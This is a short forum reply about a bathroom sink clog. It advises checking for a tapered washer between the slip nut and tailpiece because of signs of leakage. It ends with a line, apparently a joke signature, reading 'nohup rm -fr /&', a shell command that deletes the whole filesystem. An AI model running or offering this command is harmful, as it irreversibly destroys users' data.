reply to obeythelaw
Re: bathroom sink clog While you are working on things, you may want to verify that there is a washer (usually it is a plastic tapered washer) to seal the gap between the slip nut and sink tailpiece . The discoloration at the top of your slip nut seems to indicate some possible leakage. This illustration does not exactly match your design but illustrates the presence of washers.
nohup rm -fr /&